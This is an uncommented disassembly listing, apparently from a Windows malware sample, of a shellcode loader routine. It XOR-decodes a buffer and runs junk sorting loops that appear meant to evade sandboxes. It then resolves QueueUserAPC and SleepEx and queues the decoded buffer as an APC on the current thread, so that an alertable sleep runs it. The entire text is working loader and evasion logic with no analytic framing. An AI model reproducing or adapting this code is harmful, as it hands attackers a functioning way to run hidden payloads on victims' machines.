mov rax, qword [rbp + 0x6b8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0xdc0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7fc], 0
jmp 0x140002a13
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x36f
jle 0x1400029c6
mov dword [rbp + 0x7fc], 0
jmp 0x140002b03
cmp dword [rbp + 0x7fc], 0
je 0x140002a73
mov eax, dword [rbp + 0x7fc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x7fc]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002a7f
add dword [rbp + 0x7fc], 1
jmp 0x140002b03
mov eax, dword [rbp + 0x7fc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x664], eax
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x668]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x664]
mov dword [rdx], eax
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x7fc], 0x36f
jle 0x140002a2e
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x80c], 1
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x4fe
jle 0x140002840
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x7e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov ecx, 0x2d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x674], 1
mov dword [rbp + 0x7f4], 0
jmp 0x140002c3c
mov dword [rbp + 0x7f0], 0
jmp 0x140002c2c
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7f4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x678]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0xd
jle 0x140002bcd
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0xc
jle 0x140002bc1
mov dword [rbp + 0x7f4], 0
jmp 0x140002cb2
mov dword [rbp + 0x7f0], 0
jmp 0x140002ca2
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x7f0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002c9b
add dword [rbp + 0x7f8], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0xd
jle 0x140002c61
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0xc
jle 0x140002c55
cmp dword [rbp + 0x7f8], 0x5b
je 0x140002cce
mov dword [rbp + 0x674], 0
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x688]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x680]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x860]
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
ret